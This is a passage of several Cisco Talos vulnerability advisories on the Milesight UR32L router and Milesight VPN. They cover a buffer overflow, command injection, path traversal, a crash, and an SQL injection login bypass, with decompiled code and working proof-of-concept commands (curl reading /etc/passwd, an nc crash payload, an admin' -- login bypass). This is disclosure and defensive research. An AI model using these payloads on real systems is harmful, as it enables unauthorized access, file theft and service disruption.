      }
      else if (sVar1 == 0) {
        [...]
      }
      else {
        log_stuff("comudp.c",0x29,"udp_read_cb",1,"Udp Read :[%s]",recv_buff);
        uVar4 = execute_urvpn_command((byte *)recv_buff);
      }
      [...]
    } The function will receive the JSON data and eventually call the `execute_urvpn_command` with, as argument, the JSON received. No checks are performed on the received data that will eventually reach the `cmd_name_action`.
    

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-24583: TALOS-2023-1710 || Cisco Talos Intelligence Group

A stack-based buffer overflow vulnerability exists in the urvpn_client http_connection_readcb functionality of Milesight UR32L v32.3.0.5. A specially crafted network packet can lead to a buffer overflow. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

A stack-based buffer overflow vulnerability exists in the urvpn\_client http\_connection\_readcb functionality of Milesight UR32L v32.3.0.5. A specially crafted network packet can lead to a buffer overflow. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router offers a service called Milesight VPN, a VPN service that will connect to the Milesight VPN software. The vulnerability described in this report requires this service to be enabled by the admin, as it is disabled by default. The binary client used for this service is urvpn_client. This binary will connect to the specified Milesight VPN server. The first request is used to “authenticate” the router to the server. Essentially, the router will send information about itself to the server. After the request, the http_connection_readcb function will be executed to read the response of the server. Following the http_connection_readcb function:

    void http_connection_readcb(undefined4 param_1,http_connection *connection)
    
    {
      [... variable declaration ...]
    
      [...]
      associated_request = connection->associated_request;
      input_obj = bufferevent_get_input(param_1);
      evbuffer_search_eol(auStack_f0,input_obj,0,&line_length,1);
      tmp = (char *)evbuffer_get_length(input_obj);
      response_body_len = associated_request->content_size;
      inbody = associated_request->inbody;
      status = associated_request->status;
      iVar4 = line_length;
      log_message("httptransport.c",0x152,"http_connection_readcb",0,
                  "libevent begin : http input receive size %d, req->response_body_len %d, 
                  req->inbody % d, req->status %d line_length %d"
                  ,tmp,response_body_len,inbody,status,line_length);
      if (((int)associated_request->content_size < 1) && (line_length == 0)) {
        log_message("httptransport.c",0x156,"http_connection_readcb",0,"Did not receive enough data",tmp
                    ,response_body_len,inbody,status,iVar4);
        log_message("httptransport.c",0x157,"http_connection_readcb",0,"Did not receive enough data");
        return;
      }
      if (associated_request->content_size == 0xffffffff) {
        log_message("httptransport.c",0x15e,"http_connection_readcb",1,
                    "req->response_body_len == -1, this is a fresh request, handle response header",tmp,
                    response_body_len,inbody,status,iVar4);
        input_line = (char *)evbuffer_readln(input_obj,0,1);                                                [1]
        log_message("httptransport.c",0x165,"http_connection_readcb",0,"line %s",input_line);
        iVar1 = sscanf(input_line,"HTTP/%d.%d %d %s",http_major_version,http_minor_version,
                       &http_status_code,http_status_message);                                              [2]
        if (iVar1 < 1) {
          log_message("httptransport.c",0x169,"http_connection_readcb",3,"Couldn\'t parse HTTP response"
                     );
          probably_free_associated_req(&connection->associated_request,&associated_request);
          free(input_line);
          return;
        }
        free(input_line);
        associated_request->status = http_status_code;
        associated_request->content_size = 0;
      }
      [...]
    }
    

At [1] the first line of the response is fetched, then at [2] is parsed, expecting to be of the HTTP/%d.%d %d %s form. So, the protocol version is parsed, as well as the status code and the status message. For containing the status message, the http_status_message stack buffer is used. Because no check is performed against the line received at [1], and because the http_status_message buffer is only 52 bytes long, this function is vulnerable to a stack-based buffer overflow that can occur at [2].

Because HTTPS is used for the connection to the server, it would seems impossible to man-in-the-middle this communication. Because of TALOS-2023-1705 this is actually possible because the client does not verify the server.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-24019: TALOS-2023-1718 || Cisco Talos Intelligence Group

An OS command injection vulnerability exists in the vtysh_ubus _get_fw_logs functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An OS command injection vulnerability exists in the vtysh\_ubus \_get\_fw\_logs functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.8 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The Milesight router offers several functionalities through the /cgi endpoint. The “core” functionality we are considering is called yruo_debug_firewall. In this “core” there is a function called “get”. The function that manages this functionality is the vtysh_ubus’s fw_logs_get function:

    void fw_logs_get(undefined4 param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4,
                    undefined4 *data)
    
    {
      [... variable declaration ...]
      
      [... variable initialization ...]
      json_msg_output("!! yruo_fw_logs.get params",data);
      blob_buf_init(b,0);
      data_len = __bswapsi2(*data);
      blobmsg_parse(fw_logs_get_policy,2,tb,data + 1,(data_len & 0xffffff) - 4);                            [1]
      if (tb[0] != (blob_attr *)0x0) {
        base_value_ptr = (char *)blobmsg_get_string(tb[0]);
        strncpy(tb_base_value,base_value_ptr,0x20);
        system_ptr = (system_base_struct *)get_handler_bybase(&debug_bases,1,tb_base_value);                [2]
        if (system_ptr != (system_base_struct *)0x0) {
          switch_to_enable_node();
          _get_fw_logs = (code *)system_ptr->get_func;
          if ((_get_fw_logs != (code *)0x0) &&
             (_get_fw_logs = (code *)(*_get_fw_logs)(tb,"get"), _get_fw_logs == (code *)0x0))               [3]
          [...]
            [...]
          }
        }
      }
      [...]
    }
    

The data are transmitted through blobmsg structures. The two variable that are parsed into the tb array, at [1], are: - base: this value must be equal to “firewall\_log”, otherwise no functionality will be performed. The value of this data will be parsed in the tb[0] variable. - command: this value will be used as argument of the iptables shell command. The value of this data will be parsed in the tb[1] variable.

At [2] the base value will be used to get a struct handler that in the code is called system_ptr. Because there is only, in this case, one valid value for base, we know the struct fetched has as value of the system_ptr->get_func the _get_fw_logs function pointer. At [3] the _get_fw_logs function will be called:

    void _get_fw_logs(blob_attr **tb, char* type)
    
    {
      [... variable declaration ...]
    
      [... variable initialization ...]
       = (undefined4 *)zcalloc(1,8);
      if (two_word != (undefined4 *)0x0) {
        command = tb[1];                                                                                    [4]
        [...]
        if ((command != (blob_attr *)0x0) &&
           (command_string = (char *)blobmsg_get_string(command), *command_string != '\0')) {
          dup_command = zstrdup(1,command_string);
          [...]
          command_string = (char *)(dup_command + -1);
          do {
            command_string = command_string + 1;
            command_string_cursor = *command_string;
            if (command_string_cursor == '\0') {
              snprintf(iptables_command,0x100,"iptables -w %s",dup_command);                                [5]
              zlog_debug("exec fw command(%s)\n",iptables_command);
              __stream = popen(iptables_command,"r");                                                       [6]
              [...]
              }
              [...]
            }
          } while (command_string_cursor != '&' && command_string_cursor != ';');
          [...]
        }
      }
      [...]
    } This function takes as first argument the `fw_logs_get`'s `tb` variable pointer. Then, at `[4]`, `tb[1]` is used to fetch the `command` argument sent in the `/cgi` API. The `command` variable is used, at `[5]`, to compose the `iptables -w <command>` string. This is then used at `[6]` as the argument for the `popen` function, effectively executing the  `iptables -w <command>` shell command.
    

The payload for the /cgi API to execute the “get” function in the “yruo\_debug\_firewall” core would look likes this:

    {
    "id":60,
    "execute":10,
    "core":"yruo_debug_firewall",
    "function":"get",
    "values":[
        {
            "base":"firewall_log",
            "command":"-S",
            }
        ]
    }
    

This would execute the iptables -W -S command listing all the iptables rules.

Because no exhaustive checks are performed on the command parameters until it reaches the popen function, this leads to an OS command injection vulnerability.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-22299: TALOS-2023-1712 || Cisco Talos Intelligence Group

A directory traversal vulnerability exists in the server.js start functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to arbitrary file read. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

A directory traversal vulnerability exists in the server.js start functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to arbitrary file read. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

**CWE**

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

**DETAILS**

The MilesightVPN is software that make the process easier of setting up the VPN tunnel for Milesight products, as well as allows monitoring the connection status with a web server interface.

The MilesightVPN’s server.js file has the start function that is the one responsible to manage the received requests:

    function start(route,handle,connection,generateToken,verifyToken,lang){
        const options={
            key:fs.readFileSync(path.join(__dirname,'./https/server.key')),
            cert:fs.readFileSync(path.join(__dirname,'./https/server.crt'))
        };
        var defaultpage={
            page:'index.html',
            login:'login.html',
            port:'18080',
            ssl_port:'18443'
        };
        disconnect(connection);
       [...]
        https.createServer(options,function(req,res){
            var method=req.method;
            var pathname=url.parse(req.url).pathname;
            [...]
            var ext=path.parse(pathname).ext;
            ext=ext.slice(1);
            [...]
            var realPath=path.join(__dirname,'../'+pathname);
            var cookie=req.headers.cookie;
            if(cookie)
            {
                [...]
            }
            else
            {
                if(ext=='html'&&(pathname.indexOf('login.html')<0&&pathname.indexOf('Device_Auth')<0))
                {
                    [...]
                }
            }
    
            if(method=='POST')
            {
                [...]
            }
            else
            {
                [...]
                if(ext=='html')
                {
                    [...]
                }
                fs.readFile(realPath,function(err,data){                                                    [1]
                    [...]
                    var contentType='';
                    switch(ext){
                        case 'html':
                            contentType='text/html';
                            break;
                        [...]
                        default:
                            contentType='text/plain';
                    }
                    res.writeHead(200,{'Content-Type':contentType});
                    res.end(data);
                });
            }
    
    
        }).listen(defaultpage.ssl_port);
    }
    

The function perform a series of check in the case the requested page extensions is html and in the case a cookie is provided. But, if the file does not have such extension and no cookie is provided, eventually, the code at [1] is reached and because no checks is performed against the provided path, this function is vulnerable to an unauthenticated directory path traversal.

**Exploit Proof of Concept**

Following a POC for the vulnerability exposed above:

    $ curl --path-as-is --insecure https://<SERVER_ADDRESS>/../etc/passwd  
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
    landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:111:1::/var/cache/pollinate:/bin/false
    vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    vboxadd:x:997:1::/var/run/vboxadd:/bin/false
    fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
    mysql:x:113:120:MySQL Server,,,:/nonexistent:/bin/false
    redis:x:1002:1002::/home/redis:/bin/false
    stund:x:1003:1003::/home/stund:/bin/false
    tunnel:x:1004:1004::/bin:/bin/false
    

The request’s response is the /etc/passwd content.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-23907: TALOS-2023-1702 || Cisco Talos Intelligence Group

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

**PRODUCT URLS**

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

**CVSSv3 SCORE**

8.2 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

**CWE**

CWE-126 - Buffer Over-read

**DETAILS**

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router can be set up to trigger an action after a particular event occurs. For instance, it is possible to send an e-mail or an SMS after a device reboots. Other actions and events exist. The binary that actually performs the action, after a particular event occurs, is eventcore.

The eventcore binary has a thread that waits for data that seems to be used to query the SQLite3 database used to archive the various event-related information. Following the recv_data_thread function that manages the reception of the data:

    undefined4 recv_data_thread(int *socket)
    
    {
     [... variable declaration ...]
    
      [... variable initialization ...]
      memset(chunk_buff + 4,0,0x1fc);
      [... variable initialization ...]
      
      if (socket == (int *)0x0) {
        syslog(3,"param is null\n");
      }
      else {
        socket_ = *socket;
        if (socket_ < 1) {
          syslog(3,"udp fd less than 0.\n");
        }
        else {
          message = (char *)malloc_and_memset(0x800);
          if (message != (char *)0x0) {
            memset(message,0,0x800);
            do {
              while( true ) {
                memset(chunk_buff,0,0x200);
                message_strlen = strlen(message);
                recv_length = recv_wrap(socket_,chunk_buff,0x1ff,&src_addr);                                [1]
                if ((chunk_buff[0] == '\0') || (recv_length != 0x1ff)) break;
                memcpy(message + message_strlen,chunk_buff,0x800 - message_strlen);                         [2]
              }
              [...]
            }
          }
          [...]
    }
    

The function executes a loop where it received at most 0x1ff bytes into the chunk_buff buffer, then the content of the chunk_buff is appended into the message buffer.

The chunk_buff buffer is correctly sized with 512 bytes available, so the read at [1] is correct. At [2] the memcpy copies the size 0x800 - message_strlen from chunk_buff into message. So, the first memcpy will copy 0x800 bytes from a buffer of 0x1ff bytes. This leads to a buffer over-read. Furthermore, the thread starts with a fresh stack, which implies that the stack buffer chunk_buff is close to end of the stack and a buffer over-read will cause a SIGSEGV.

Debugging the process, it is easy to understand this problem:

    memcpy@plt (                                                                                                                                                                                  
        $r0 = 0x00043730 → 0x00000000,                                                                                                                                                             
        $r1 = 0x76de4b0c → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",                                                                                                              
        $r2 = 0x00000800,                                                                                                                                                                          
    )  The `$r2` register contains the address of the `chunk_buff` buffer; in this case, it is  `0x76de4b0c`. Following the thread stack region and the region adjacent:
    
    0x76bf0000 0x76de5000 0x00000000 rw-
    0x76de5000 0x76de6000 0x00000000 --- 
    

The bytes between chunk_buff, at 0x76de4b0c, and the end of thread’s stack region, at 0x76de5000, is 0x4f4 bytes. So, reading 0x800 bytes from chunk_buff implies it will try to access outside the stack region.

**Crash Information**

    Thread 5 "eventcore" received signal SIGSEGV, Segmentation fault.
    0x76f3d540 in memcpy () from target:/lib/ld-musl-armhf.so.1
    [ Legend: Modified register | Code | Heap | Stack | String ]
    ──── registers ────                                               
    $r0  : 0x76ef2a20  →  0x00000000
    $r1  : 0x76d67ffc  →  0x00000000
    $r2  : 0x2f0
    $r3  : 0x10
    $r4  : 0x0
    $r5  : 0x0
    $r6  : 0x0
    $r7  : 0x0
    $r8  : 0x0
    $r9  : 0x0
    $r10 : 0x0
    $r11 : 0x0
    $r12 : 0x0
    $sp  : 0x76d67ac8  →  0x76f417ac  →   ldr r3,  [r0,  #140]      ; 0x8c
    $lr  : 0x00012e7c  →  0xea000034 ("4"?)
    $pc  : 0x76f3d540  →  <memcpy+140> ldm r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
    $cpsr: [negative zero CARRY overflow interrupt fast thumb]
    ──── stack ────                                               
    0x76d67ac8│+0x0000: 0x76f417ac  →   ldr r3,  [r0,  #140]        ; 0x8c   ← $sp
    0x76d67acc│+0x0004: 0x76d67d44  →  0x76d67d44  →  [loop detected]
    0x76d67ad0│+0x0008: 0x00000078 ("x"?)
    0x76d67ad4│+0x000c: 0x7eac7d34  →  0x00000000
    0x76d67ad8│+0x0010: 0x76f68540  →  0x00000000
    0x76d67adc│+0x0014: 0x76d67d44  →  0x76d67d44  →  [loop detected]
    0x76d67ae0│+0x0018: 0x76d67d24  →  0x76f41830  →   bl 0x76f41628 <pthread_exit>
    0x76d67ae4│+0x001c: 0x76ef2530  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
    ──── code:arm:ARM ────                                               
       0x76f3d534 <memcpy+128>     sub    r2,  r2,  r3
       0x76f3d538 <memcpy+132>     subs   r2,  r2,  #32
       0x76f3d53c <memcpy+136>     bcc    0x76f3d554 <memcpy+160>
     → 0x76f3d540 <memcpy+140>     ldm    r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
       0x76f3d544 <memcpy+144>     subs   r2,  r2,  #32
       0x76f3d548 <memcpy+148>     stmia  r0!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
       0x76f3d54c <memcpy+152>     bcs    0x76f3d540 <memcpy+140>
       0x76f3d550 <memcpy+156>     add    r2,  r2,  #32
       0x76f3d554 <memcpy+160>     tst    r2,  #31
    ──── threads ────                                               
    [#0] Id 1, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#1] Id 2, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#2] Id 3, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#3] Id 4, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
    [#4] Id 5, Name: "eventcore", stopped 0x76f3d540 in memcpy (), reason: SIGSEGV
    ──── trace ────                                               
    [#0] 0x76f3d540 → memcpy()
    [#1] 0x12e7c → b 0x12f54
    

**Exploit Proof of Concept**

Executing the following bash command will result in the crash of the eventcore binary:

    echo `python -c "print('A'*0x1ff)"` | nc -u <ROUTER_IP> 9001
    

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-23571: TALOS-2023-1696 || Cisco Talos Intelligence Group

A sql injection vulnerability exists in the requestHandlers.js LoginAuth functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

A sql injection vulnerability exists in the requestHandlers.js LoginAuth functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to authentication bypass. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

**CWE**

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

**DETAILS**

The MilesightVPN is software that make the process easier of setting up the VPN tunnel for Milesight products, as well as allows monitoring the connection status with a web server interface.

The MilesightVPN allow to manages the various VPN related configuration and the connected devices through its web interface. The web interface is protected by a login, the responsibility of checking the correctness of the provided credentials is of the requestHandlers.js’s LoginAuth function:

    function LoginAuth(res,postdata,connection){
        console.info('#######log.node:loginauth start');
        var sha512=crypto.createHash('sha512');
        sha512.update(postdata.pwd);
        var pwd=sha512.digest('hex');
        $sql="select * from user where user='"+postdata.user+"' and passwd='"+pwd+"'";                      [1]
        connection.query($sql).then(function(data){                                                         [2]
            var result={};
            if(data['error'])
            {
                [...]
            }
            else
            {
                if(data['result'].length>0)
                {
                    var dt=data['result'];
                    result['status']=1;
                    var token=generateToken(dt[0]['user']);
                    var exp=new Date(new Date().getTime()+expiretime*1000).toUTCString();
                    res.setHeader('Set-Cookie',['token='+token]);
                    console.info('#######log.node:loginauth success');
                    res.write(JSON.stringify(result));
                    res.end();
                }
                else
                {
                    [...]
                }
            }
        });
    }
    

The function compose, at [1], the SQL query for checking if the username and password provided correspond to the one of an existing user. Then, at [2], the query is executed, if the resulting table is not empty a JWT, corresponding to the matched user, is crafted and placed in the response header as value of Set-Cookie.

This function is vulnerable to an SQL injection vulnerability, indeed, the composition of the query string is performed through string concatenation instead of a prepare statement. This SQL injection can lead to an authentication bypass.

**Exploit Proof of Concept**

Following a POC that demonstrates the SQL injection in the login procedure discussed above:

    curl -i -k -d "user=admin' -- &pwd=POC" -X POST https://<SERVER_ADDRESS>/LoginAuth 
    
    HTTP/1.1 200 OK
    Set-Cookie: token=<redacted>
    Date: [...]
    Connection: keep-alive
    Transfer-Encoding: chunked
    
    {"status":1}
    

The {"status":1} show that the login procedure found a match for the data provided.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

Tag

#cisco